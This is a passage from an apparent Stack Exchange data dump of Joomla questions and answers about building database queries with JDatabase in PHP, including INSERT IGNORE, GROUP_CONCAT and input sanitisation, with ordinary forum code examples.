&lt;code&gt;${word}_query&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I am not using any &lt;code&gt;qn()&lt;/code&gt; or &lt;code&gt;q()&lt;/code&gt; calls because they are not necessary for parsing/security reasons.&lt;/li&gt;&#xA;&lt;li&gt;I use capitalized table aliases to help them stand out from table names and columns.&lt;/li&gt;&#xA;&lt;li&gt;I am not aliasing the column in the &lt;code&gt;SELECT&lt;/code&gt; because it is not required.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;setQuery(str_replace('VALUES','',$ins_query))&lt;/code&gt; is not necessary.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In case anyone is concerned that I am shamelessly stealing Alexandr's solution, I'll post a different brute-force query-build that will have the same effect assuming your &lt;code&gt;#__clients.id&lt;/code&gt; column is a &lt;code&gt;PRIMARY/UNIQUE KEY&lt;/code&gt;.  I don't think I would use this less elegant solution (even if, for some reason, it was slightly more performant).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$select_query = $db-&amp;gt;getQuery(true)&#xA;                   -&amp;gt;select(&quot;A.user_id&quot;)&#xA;                   -&amp;gt;from(&quot;#__user_usergroup_map A&quot;)&#xA;                   -&amp;gt;where(&quot;A.group_id = 10&quot;);&#xA;// echo $select_query-&amp;gt;dump();&#xA;&#xA;$insert_query = $db-&amp;gt;getQuery(true)&#xA;                   -&amp;gt;insert('#__clients')&#xA;                   -&amp;gt;columns('id')&#xA;                   -&amp;gt;values($select_query);&#xA;&#xA;$db-&amp;gt;setQuery(str_replace(&quot;INSERT&quot;, &quot;INSERT IGNORE&quot;, $insert_query));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-18T23:06:04.133" LastActivityDate="2018-06-18T23:06:04.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22966" PostTypeId="2" ParentId="21155" CreationDate="2018-06-08T07:45:38.513" Score="1" Body="&lt;p&gt;Option #1 - the clean way (my recommended approach)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Call this query from phpMyAdmin to permanently establish the two columns as &lt;code&gt;UNIQUE KEYS&lt;/code&gt;. (You will need to replace the &lt;code&gt;#_&lt;/code&gt; prefix with your private prefix string.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__parts_analogues` ADD UNIQUE KEY(original_id, analogue_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then whenever you wish to throw new rows into the table, you can use a &lt;code&gt;INSERT IGNORE INTO&lt;/code&gt; query to avoid receiving those syntax errors.  This adjustment is applied inside the &lt;code&gt;setQuery()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I would write the OO code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $insert_query = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;insert(&quot;#__parts_analogues&quot;)&#xA;                       -&amp;gt;columns(&quot;original_id, analogue_id&quot;)&#xA;                       -&amp;gt;values($value); // I'm not sure if you are delivering a string, 1-dim array, or multi-dim array&#xA;&#xA;    $db-&amp;gt;setQuery(preg_replace('~INSERT \K~', 'IGNORE ', $insert_query, 1));    // add IGNORE after first occurring `INSERT ` in query&#xA;    $db-&amp;gt;execute();&#xA;    echo $db-&amp;gt;getAffectedRows() , &quot; row(s) inserted into parts_analogues table&quot;;&#xA;} catch (Exception $e) {&#xA;    echo  &quot;Syntax Error&quot;; // . &quot; &amp;amp; Error: &quot; . $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if &lt;code&gt;$value&lt;/code&gt; is a comma-separated string, a one-dimensional array containing two elements, or a multi-dimensional array containing sets of 2-element subarrays.  If these &lt;code&gt;id&lt;/code&gt; values are integers and coming from an external source, you should cast each &lt;code&gt;id&lt;/code&gt; as &lt;code&gt;(int)&lt;/code&gt; before feeding to the query for security reasons.  Here's some relevant literature:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Inserting_a_Record&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Inserting_a_Record&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_values&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_values&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#Constructing_SQL_queries&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Secure_coding_guidelines#Constructing_SQL_queries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I should also point out that there is &lt;em&gt;technically&lt;/em&gt; a possibility of making unintended multiple replacements within the query while using &lt;code&gt;str_replace()&lt;/code&gt;. For this reason, I am using &lt;code&gt;preg_replace()&lt;/code&gt; with a replacement limit of 1 for peace of mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another note: Joomla puts &lt;code&gt;\r\n&lt;/code&gt; (or just &lt;code&gt;\n&lt;/code&gt; depending on your operating system) at the start of the query; &lt;code&gt;var_dump($db)&lt;/code&gt; after &lt;code&gt;setQuery()&lt;/code&gt; to see.  For this reason, my pattern does not use &lt;code&gt;~^INSERT ~&lt;/code&gt;, but I could just as easily use &lt;code&gt;~^\sINSERT~&lt;/code&gt; or &lt;code&gt;~^\RINSERT ~&lt;/code&gt; to anchor the pattern to the start of the string.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Option #2 - which IMO is the less elegant way because it requires two round trips to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you would run a &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Single_Value_Result&quot; rel=&quot;nofollow noreferrer&quot;&gt;SELECT COUNT(*)&lt;/a&gt; query with a &lt;code&gt;WHERE&lt;/code&gt; clause that searches for matches using your &lt;code&gt;$values&lt;/code&gt; data to determine if the pair of values exists in the table, then you call an &lt;code&gt;INSERT&lt;/code&gt; query when it is unique.  *note, you can use two &lt;code&gt;where()&lt;/code&gt; method calls, but I don't prefer that style because it is too much of a departure from raw sql syntax.  You could also hardcode the &lt;code&gt;AND&lt;/code&gt; and write a single string, but I was trying to get the whole code block to fit the available width on this page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $select_query = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&quot;COUNT(*)&quot;)&#xA;                       -&amp;gt;from(&quot;#__parts_analogues&quot;)&#xA;                       -&amp;gt;where(&#xA;                           array(&#xA;                             &quot;original_id = &quot; . (int)$original_id),&#xA;                             &quot;analogue_id = &quot; . (int)$analogue_id)&#xA;                           )&#xA;                         )&#xA;                       -&amp;gt;setLimit(1);&#xA;&#xA;    $db-&amp;gt;setQuery($select_query);&#xA;    if (!$db-&amp;gt;loadResult()) {&#xA;        // if count is 0 (false-y) that means the values are unique&#xA;        $insert_query = $db-&amp;gt;getQuery(true)&#xA;                           -&amp;gt;insert(&quot;#__parts_analogues&quot;)&#xA;                           -&amp;gt;columns(&quot;original_id, analogue_id&quot;)&#xA;                           -&amp;gt;values((int)$original_id . &quot;,&quot; . (int)$analogue_id);&#xA;&#xA;        $db-&amp;gt;setQuery($insert_query);&#xA;        $db-&amp;gt;execute();&#xA;        echo &quot;Row Added&quot;;&#xA;    } else {&#xA;        echo &quot;Non-unique Values&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo  &quot;Syntax Error&quot;; // . &quot; &amp;amp; Error: &quot; . $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-05-08T16:43:13.847" LastActivityDate="2020-05-08T16:43:13.847" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="22967" PostTypeId="2" ParentId="21978" CreationDate="2018-06-08T11:28:08.277" Score="0" Body="&lt;p&gt;Use  TinyMCE Editor Plugin . This editor supports in joomla latest as well as old version.&#xA;Its a joomla free editor&lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2018-06-08T11:28:08.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22969" PostTypeId="2" ParentId="5639" CreationDate="2018-06-08T12:09:20.660" Score="0" Body="&lt;p&gt;Your task desires a single string containing comma-separated email addresses -- SQL can do all of that for you plus a few convenient flourishes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;GROUP_CONCAT(DISTINCT B.email ORDER BY B.email)&quot;)&#xA;                -&amp;gt;from(&quot;lc_community_groups_members A&quot;)&#xA;                -&amp;gt;innerJoin(&quot;lc_users B ON A.memberid = B.id&quot;)&#xA;                -&amp;gt;where(&quot;A.groupid = 1 AND A.approved = 1&quot;);&#xA;    //echo $query-&amp;gt;dump();&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$emails = $db-&amp;gt;loadResult()) {&#xA;        echo &quot;No Qualifying Email Addresses&quot;;&#xA;    } else {&#xA;        echo $emails;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error&quot;; // . $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With sample data like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|  lc_community_groups_members        |  JOIN ON memberid=id  |         lc_users        |&#xA;|-------------------------------------|                       |-------------------------|&#xA;|  memberid  |  groupid  |  approved  |                       |  id  |       email      |&#xA;|------------|-----------|------------|                       |-------------------------|&#xA;|      1     |     2     |      1     |           &amp;lt;           |   1  |   a@email.com    |&#xA;|      2     |     1     |      1     |           &amp;lt;           |   2  | shared@email.com |&#xA;|      3     |     1     |      0     |           &amp;lt;           |   3  |   c@email.com    |&#xA;|      4     |     1     |      1     |           &amp;lt;           |   4  | shared@email.com |&#xA;|      5     |     1     |      1     |           &amp;lt;           |   5  |   e@email.com    |&#xA;|      6     |     2     |      0     |           &amp;lt;           |   6  |   f@email.com    |&#xA;|      7     |     1     |      0     |           &amp;lt;           |   7  |   g@email.com    |&#xA;|      8     |     1     |      1     |           &amp;lt;           |   8  |   h@email.com    |&#xA;|      9     |     1     |      1     |           &amp;lt;           |   9  |   i@email.com    |&#xA;---------------------------------------                       ---------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would be expecting the emails from ids: 2,4,5,8,9&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mysqltutorial.org/mysql-inner-join.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;INNER JOIN&lt;/a&gt; is used because null rows are not desired.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mysqltutorial.org/mysql-group_concat/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GROUP_CONCAT()&lt;/a&gt; is a perfect tool for gluing together the email values with commas.  It also provides the added benefit of removing duplicates (for a streamlined mail-out) and alphabetizing (in case you are manually scanning the output).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Query_Results&quot; rel=&quot;nofollow noreferrer&quot;&gt;loadResult()&lt;/a&gt; is the method to call when your resultset is a single value. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The output from my code block is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e@email.com,h@email.com,i@email.com,shared@email.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-08T12:09:20.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22971" PostTypeId="1" AcceptedAnswerId="23064" CreationDate="2018-06-08T14:40:46.470" Score="1" ViewCount="479" Body="&lt;p&gt;I would like to add a tag around the intro text, but only if the article has an intro image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy to add markup around the image in the intro_image layout file.  And in the file blog_item.php, I can see where the text is included:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But can anyone help me write an if statement so that I can add a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; around the text so that I can control the layout if the intro image has been set?&lt;/p&gt;&#xA;" OwnerUserId="1740" LastEditorUserId="11451" LastEditDate="2018-06-17T07:43:01.220" LastActivityDate="2019-09-04T08:09:58.570" Title="Category Blog - Layout if the intro image is set" Tags="|layout|category-blog|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22974" PostTypeId="1" AcceptedAnswerId="22984" CreationDate="2018-06-09T18:52:48.317" Score="2" ViewCount="46" Body="&lt;p&gt;I have a list Joomla! form field in my XML, it works in the back end, I can change the dropdown.  When saved, the item stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;print_r($params)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The value is outputted as &quot;true&quot; and not the value&lt;/strong&gt; sometimes it appears as 1, no matter which option I choose.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the PHP I obtain a &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this given the option is selected correctly when I view it in the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field name=&quot;list&quot;&#xA;               type=&quot;list&quot;&#xA;               default=&quot;&quot;&#xA;               label=&quot;MOD_KOY_YOUR_LOGO_LIST&quot;&#xA;               description=&quot;&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;MOD_MY_MOD_OPTION_LOGO_ONLY&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;MOD_MY_MOD_OPTION_TEXT_ONLY&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;2&quot;&amp;gt;MOD_MY_MOD_OPTION_TEXT_AND_LOGO&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could it be possible that my use of multiple &lt;code&gt;showon=&lt;/code&gt; are causing the issue?  all seem to work correctly, but some are nested.  By nested I mean if a = 1, then show b.  If b = 1 then show c.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2018-06-11T15:46:23.463" LastActivityDate="2018-06-11T15:49:22.940" Title="I change list value in module but it does not change in params" Tags="|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22975" PostTypeId="2" ParentId="22947" CreationDate="2018-06-10T18:30:29.607" Score="0" Body="&lt;p&gt;I found the problem. The users I was trying to update were imported directly into the Users table. If I add a user manually I can update this user without any problem.&lt;/p&gt;&#xA;" OwnerUserId="12599" LastActivityDate="2018-06-10T18:30:29.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22976" PostTypeId="2" ParentId="16236" CreationDate="2018-06-11T00:03:03.067" Score="1" Body="&lt;p&gt;Admittedly &lt;code&gt;filter_var($url, FILTER_VALIDATE_URL)&lt;/code&gt; is imperfect, but regex is likely to be more so (and as the accuracy of the regex pattern improves, code-bloat will swell and readability/maintainability will plummet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As PHP continues to improve with each new version, the accuracy of &lt;code&gt;filter_var()&lt;/code&gt; will only get better.  If you roll your own static regex pattern, the only hope of improvement rests on your shoulders and relies on you dedicating time and effort into refining it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green tick at StackOverflow is not always to be trusted -- also pay attention to the upvotes and comments.  This page is certainly worth a read: &lt;a href=&quot;https://stackoverflow.com/q/206059/2943403&quot;&gt;PHP validation/regex for URL&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice (shared by many developers) is that you should only use regex when it offers a unique advantage that other simpler php functions do not.  Until you encounter a case where &lt;code&gt;filter_var()&lt;/code&gt; fails you, you should resist relying on regex for this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Joomla-centric reading...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no tag with an &lt;code&gt;id&lt;/code&gt; on this page, so you'll have to scroll down to the bottom of the page: &lt;a href=&quot;https://docs.joomla.org/Server-side_form_validation&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Server-side_form_validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/URL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/URL_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla doesn't currently offer a &lt;code&gt;JFactory::getApplication-&amp;gt;input-&amp;gt;...&lt;/code&gt; validator for urls, probably because there isn't a hard-fast solution to build it upon.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;p.s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (!filter_var($url, FILTER_VALIDATE_URL) === false) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the same as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (filter_var($url, FILTER_VALIDATE_URL) !== false) {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the same as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (filter_var($url, FILTER_VALIDATE_URL)) {&lt;/code&gt;  &amp;lt;-- just use this one for brevity&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;p.p.s. If you &lt;em&gt;really&lt;/em&gt; need to verify that a url is real/live, then you can set up a separate call to the url and check for a &quot;heartbeat&quot;, but there is a fair chance that that is overkill for most projects.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-11T00:03:03.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22977" PostTypeId="2" ParentId="15941" CreationDate="2018-06-11T02:43:55.830" Score="0" Body="&lt;p&gt;Based on your database table screen shot, your &lt;code&gt;Power&lt;/code&gt; values are &lt;code&gt;(float)&lt;/code&gt; type and your &lt;code&gt;Poles&lt;/code&gt; values are &lt;code&gt;(int)&lt;/code&gt; type.  For this reason, you can be more restrictive in &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;your user input validation process&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$power = $jinput-&amp;gt;get('Power', '', 'float');  // sufficiently sanitize for querying&#xA;$poles = $jinput-&amp;gt;get('Poles', '', 'int');    // sufficiently sanitize for querying&#xA;&#xA;echo &quot;&amp;lt;div&amp;gt;Резултати за мощност = $power &amp;amp; поляците = $poles&amp;lt;/div&amp;gt;&quot;; // Results for...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now for the tablular output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;table class=\&quot;table table-striped\&quot;&amp;gt;&quot;;&#xA;    $db = JFactory::getDBO();&#xA;    try {&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;select(&quot;TYPE AS Type, TRIM(Power) + 0 AS Power, Speed, Weight&quot;)&#xA;                    -&amp;gt;from($db-&amp;gt;qn(&quot;TABLE 2&quot;))&#xA;                    -&amp;gt;where(&quot;Power = $power AND Poles = $poles);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        if (!$results = $db-&amp;gt;loadAssocList()) {&#xA;            echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Няма резултати&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;  // No Results&#xA;        } else {&#xA;            echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Тип по БДС IEC 60034&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Мощност&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Обороти&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Тегло&amp;lt;/th&amp;gt;&quot;;&#xA;             echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;             foreach ($results as $row) {&#xA;                 echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                     echo &quot;&amp;lt;td class=\&quot;first\&quot;&amp;gt;Електромотор тип {$row['Type']}&amp;lt;/td&amp;gt;&quot;;&#xA;                     echo &quot;&amp;lt;td&amp;gt;{$row['Power']} kW&amp;lt;/td&amp;gt;&quot;;&#xA;                     echo &quot;&amp;lt;td&amp;gt;{$row['Speed']} мин.&amp;lt;sup&amp;gt;-1&amp;lt;/sup&amp;gt;&amp;lt;/td&amp;gt;&quot;;&#xA;                     echo &quot;&amp;lt;td&amp;gt;{$row['Weight']} кг.&amp;lt;/td&amp;gt;&quot;;&#xA;                 echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;             }&#xA;        }&#xA;    } catch (Exception $e) {&#xA;        echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Query Syntax Error - Please notify developer&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;        /*&#xA;        echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;DO NOT MAKE THESE DETAILS PUBLIC:&quot;;&#xA;            echo &quot;&amp;lt;div&amp;gt;Query: &quot; . $query-&amp;gt;dump() . &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;div&amp;gt;Error: &quot; . $e-&amp;gt;getMessage() . &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;        */&#xA;    }&#xA;echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rather than using &lt;code&gt;RAW&lt;/code&gt; as the filter parameter while collecting the submitted values, tighten restrictions by using &lt;code&gt;float&lt;/code&gt; and &lt;code&gt;int&lt;/code&gt; respectively.  Then your values are sufficiently sanitized to use in the query via variable interpolation.&lt;/li&gt;&#xA;&lt;li&gt;Inside of your &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;, I am employing a &lt;code&gt;try {} catch {}&lt;/code&gt; block because it is a clean/readable way of handling errors that may occur during the querying process.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;code&gt;select()&lt;/code&gt; method, I am &lt;a href=&quot;https://stackoverflow.com/a/20111332/2943403&quot;&gt;removing the trailing zeros&lt;/a&gt; from &lt;code&gt;Power&lt;/code&gt; (rather than at display time) and changing the casing of &lt;code&gt;TYPE&lt;/code&gt; to conform with the other columns (personal preference).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; (shorthand for &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt;) is called on the table name; this is necessary only because the table name has a space in it.  If there was no space, the backtick-quoting could be omitted.&lt;/li&gt;&#xA;&lt;li&gt;Because you are seeking exact value matches on the two nominated columns, you shouldn't use the more expensive &lt;code&gt;LIKE&lt;/code&gt; operator; &lt;code&gt;=&lt;/code&gt; will do nicely.  Because your &lt;code&gt;$power&lt;/code&gt; and &lt;code&gt;$poles&lt;/code&gt; values are sure to be numeric they don't need to be single-quoted.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;!$results = ...&lt;/code&gt; expression is both declaring the resultset to a variable and checking it for a &lt;em&gt;false-y&lt;/em&gt; value to reduce lines of code.&lt;/li&gt;&#xA;&lt;li&gt;There are three possible outcomes in my snippet: 1. Show the qualifying rows. 2. State that there are no rows found 3. State that there was a syntax error.&lt;/li&gt;&#xA;&lt;li&gt;If there is a syntax error, I've included some useful calls which will help you to debug.  Keep in mind that the raw query and exact error message should never be made public for security reasons.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-11T02:43:55.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22978" PostTypeId="2" ParentId="15910" CreationDate="2018-06-11T03:23:52.447" Score="0" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;b.product_sku, a.virtuemart_media_id, a.virtuemart_product_id&quot;)&#xA;                -&amp;gt;from(&quot;#__virtuemart_medias a&quot;)&#xA;                -&amp;gt;innerJoin(&quot;#__virtuemart_products b ON a.SUBSTRING_INDEX(SUBSTRING_INDEX(SUBSTRING_INDEX(a.file_url, '/', -1), '.', 1), '-', 1) = b.product_sku&quot;);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$results = $db-&amp;gt;loadAssocList()) {&#xA;        echo &quot;No Qualifying Results&quot;;&#xA;    } else {&#xA;        echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Product SKU&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Media ID&amp;lt;/th&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;th&amp;gt;Product ID&amp;lt;/th&amp;gt;&quot;;&#xA;            echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;            foreach ($results as $row) {&#xA;                echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;td&amp;gt;{$row['product_sku']}&amp;lt;/td&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;td&amp;gt;{$row['virtuemart_media_id']}&amp;lt;/td&amp;gt;&quot;;&#xA;                    echo &quot;&amp;lt;td&amp;gt;{$row['virtuemart_product_id']}&amp;lt;/td&amp;gt;&quot;;&#xA;                echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;            }&#xA;        echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    echo &quot;Syntax Error&quot;;&#xA;    // echo $query-&amp;gt;dump();    // don't show actual details to the public&#xA;    // echo $e-&amp;gt;getMessage();  // don't show actual details to the public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full disclosure: I've never used virtuemart; I don't know if these columns exist or if this query logic will be successful.  I am merely converting your posted query.&lt;/li&gt;&#xA;&lt;li&gt;Because &lt;code&gt;product_sku&lt;/code&gt; in your JOIN contains your desired &lt;code&gt;file_url&lt;/code&gt; substring, we'll just use that table's column value to avoid that nasty triple-&lt;code&gt;SUBSTRING_INDEX()&lt;/code&gt; call in the &lt;code&gt;SELECT&lt;/code&gt; clause.&lt;/li&gt;&#xA;&lt;li&gt;By assigning table aliases (&lt;code&gt;a&lt;/code&gt; &amp;amp; &lt;code&gt;b&lt;/code&gt;) you can reduce query bloat.&lt;/li&gt;&#xA;&lt;li&gt;I don't know if there is a cleaner way to isolate the &lt;code&gt;file_url&lt;/code&gt; substring because I don't know what format that data is in -- I must say it looks rather heavy-handed though.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-01T08:55:56.230" LastActivityDate="2019-02-01T08:55:56.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
